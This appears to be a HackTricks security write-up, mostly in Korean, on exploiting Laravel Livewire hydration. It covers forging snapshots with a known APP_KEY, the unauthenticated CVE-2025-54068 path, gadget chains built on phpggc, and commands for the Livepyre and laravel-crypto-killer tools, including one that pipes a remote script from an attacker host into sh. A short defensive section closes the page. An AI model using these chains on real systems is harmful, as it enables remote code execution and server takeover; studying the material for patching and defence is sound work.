Laravel Livewire Hydration & Synthesizer Abuse
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Livewire 상태 머신 요약
Livewire 3 컴포넌트는 data, memo, 체크섬을 포함하는 **스냅샷(snapshots)**을 통해 상태를 교환합니다. /livewire/update로의 모든 POST는 서버 측에서 JSON 스냅샷을 재하이드레이트(rehydrate)하고 대기열에 있는 calls/updates를 실행합니다.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
따라서 APP_KEY(이 $hashKey를 도출하는 데 사용됨)를 가진 사람은 HMAC을 재계산하여 임의의 스냅샷을 위조할 수 있다.
복잡한 프로퍼티는 Livewire\Drawer\BaseUtils::isSyntheticTuple()로 감지되는 합성 튜플로 인코딩된다; 각 튜플은 [value, {"s":"<key>", ...meta}]이다. 하이드레이션 코어는 단순히 각 튜플을 HandleComponents::$propertySynthesizers에서 선택된 synth로 위임하고 자식 요소들에 대해 재귀적으로 처리한다:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
이 재귀적 설계로 인해 공격자가 튜플 메타데이터나 재귀 처리 중인 어떤 중첩 튜플을 제어하면 Livewire는 일반적인 객체 인스턴스화 엔진이 됩니다.
가젯 프리미티브를 제공하는 Synthesizers
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | 각 자식을 리하이드레이트한 후 new $meta['class']($value)를 인스턴스화합니다. 배열을 받는 생성자를 가진 어떤 클래스든 생성할 수 있으며, 각 항목 자체가 synthetic tuple일 수 있습니다. |
FormObjectSynth (form) | new $meta['class']($component, $path)를 호출한 뒤 $hydrateChild를 통해 공격자가 제어하는 자식들로부터 모든 public 프로퍼티를 할당합니다. 두 개의 느슨한 타입의 매개변수(또는 기본 인수)를 받는 생성자만으로도 임의의 public 프로퍼티에 접근할 수 있습니다. |
ModelSynth (mdl) | meta에 key가 없으면 return new $class;를 실행하여 공격자가 제어하는 어떤 클래스도 인자가 없는 상태로 인스턴스화할 수 있습니다. |
synths가 모든 중첩 요소에 $hydrateChild를 호출하기 때문에, 튜플을 재귀적으로 쌓아 임의의 가젯 그래프를 구성할 수 있습니다.
APP_KEY를 알고 있을 때 스냅샷 위조
- 정상적인
/livewire/update요청을 캡처하고components[0].snapshot를 디코드합니다. - 가젯 클래스를 가리키는 중첩 튜플을 주입하고
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)를 재계산합니다. - 스냅샷을 다시 인코딩하고
_token/memo는 그대로 둔 채 요청을 재전송합니다.
최소한의 실행 증명은 **Guzzle의 FnStream**과 **Flysystem의 ShardedPrefixPublicUrlGenerator**를 사용합니다. 한 튜플은 생성자 데이터 { "__toString": "phpinfo" }로 FnStream을 인스턴스화하고, 다음 튜플은 $prefixes로 [FnStreamInstance]를 사용해 ShardedPrefixPublicUrlGenerator를 인스턴스화합니다. Flysystem이 각 prefix를 string으로 캐스팅할 때 PHP는 공격자가 제공한 __toString callable을 호출하여 인자 없이 임의의 함수를 실행합니다.
함수 호출에서 완전한 RCE로
Livewire의 인스턴스화 프리미티브를 활용해, Synacktiv는 phpggc의 Laravel/RCE4 체인을 적응시켜 하이드레이션이 public Queueable 상태가 역직렬화를 트리거하는 객체를 부팅하게 만들었습니다:
- Queueable trait –
Illuminate\Bus\Queueable를 사용하는 모든 객체는 public$chained를 노출하며dispatchNextJobInChain()에서unserialize(array_shift($this->chained))를 실행합니다. - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue)는 public$chained가 채워진 상태로CollectionSynth/FormObjectSynth를 통해 인스턴스화됩니다. - phpggc Laravel/RCE4Adapted –
$chained[0]에 저장된 직렬화된 blob은PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed를 구성합니다.Signed::__invoke()는 결국call_user_func_array($closure, $args)를 호출하여system($cmd)를 가능하게 합니다. - Stealth termination –
[new Laravel\Prompts\Terminal(), 'exit']같은 두 번째FnStreamcallable을 제공하면 요청은 시끄러운 예외 대신exit()로 종료되어 HTTP 응답이 깨끗하게 유지됩니다.
스냅샷 위조 자동화
synacktiv/laravel-crypto-killer는 이제 모든 것을 연결하는 livewire 모드를 제공합니다:
./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
이 도구는 캡처한 스냅샷을 파싱하고 gadget tuples를 주입한 뒤 체크섬을 재계산하여 전송 준비가 된 /livewire/update payload를 출력합니다.
CVE-2025-54068 – RCE without APP_KEY
updates는 스냅샷 체크섬이 검증된 후에 컴포넌트 상태로 병합됩니다. 스냅샷 내부의 프로퍼티가(또는 그렇게 변하면) synthetic tuple인 경우, Livewire는 공격자가 제어하는 update 값으로 hydrate하는 동안 해당 tuple의 meta를 재사용합니다:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- 타입이 지정되지 않은 public 속성(예:
public $count;)을 가진 Livewire 컴포넌트를 찾는다. - 해당 속성을
[]로 설정하는 update를 전송한다. 다음 snapshot은 이제[[], {"s": "arr"}]로 저장된다. - 해당 속성이 깊게 중첩된 배열을 포함하도록,
[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]같은 튜플을 임베드한 또 다른updates페이로드를 구성한다. - 재귀 처리 중
hydrate()는 각 중첩된 자식 요소를 독립적으로 평가하므로, 외부 튜플과 checksum이 변경되지 않았더라도 공격자가 선택한 synth 키/클래스가 적용된다. - 같은
CollectionSynth/FormObjectSynth프리미티브를 재사용해$chained[0]에 phpggc 페이로드를 담은 Queueable gadget을 인스턴스화한다. Livewire가 위조된 updates를 처리하면dispatchNextJobInChain()를 호출해APP_KEY를 알지 못한 채system(<cmd>)에 도달한다.
Key reasons this works:
updates는 snapshot checksum에 포함되지 않는다.getMetaForPath()는 공격자가 weak typing으로 이전에 그 속성을 튜플로 만든 경우에도, 해당 속성에 이미 존재하던 synth 메타데이터를 신뢰한다.- 재귀와 weak typing을 결합하면 각 중첩 배열이 새로운 튜플로 해석되므로 임의의 synth 키와 임의의 클래스가 결국 hydrate로 전달된다.
Livepyre – 엔드투엔드 익스플로잇
Livepyre 는 APP_KEY-less CVE와 signed-snapshot 경로를 모두 자동화한다:
- 배포된 Livewire 버전을
<script src="/livewire/livewire.js?id=HASH">를 파싱해 식별하고, 해시를 취약한 릴리스에 매핑한다. - 정상 동작을 재생하여 기본 스냅샷을 수집하고
components[].snapshot을 추출한다. updates전용 페이로드(CVE-2025-54068) 또는 phpggc 체인을 포함한 위조된 스냅샷(알려진 APP_KEY)을 생성한다.
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check는 비파괴 프로브를 실행하고, -F는 버전 게이팅을 건너뛰며, -H와 -P는 커스텀 헤더 또는 프록시를 추가하고, --function/--param은 gadget chain에 의해 호출되는 php 함수를 사용자 정의합니다.
방어적 고려사항
- Upgrade to fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) and deploy the vendor patch for CVE-2025-54068.
- Livewire components에서 약하게 타입된 public properties를 피하세요; 명시적 스칼라 타입은 속성 값이 arrays/tuples로 강제 변환되는 것을 방지합니다.
- Register only the synthesizers you truly need and treat user-controlled metadata (
$meta['class']) as untrusted. - 속성의 JSON 타입을 변경하는 업데이트(예: scalar -> array)는 명시적으로 허용되지 않는 한 거부하고, 오래된 tuples를 재사용하지 말고 synth metadata를 다시 파생하세요.
- Rotate
APP_KEYpromptly after any disclosure because it enables offline snapshot forging no matter how patched the code-base is.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

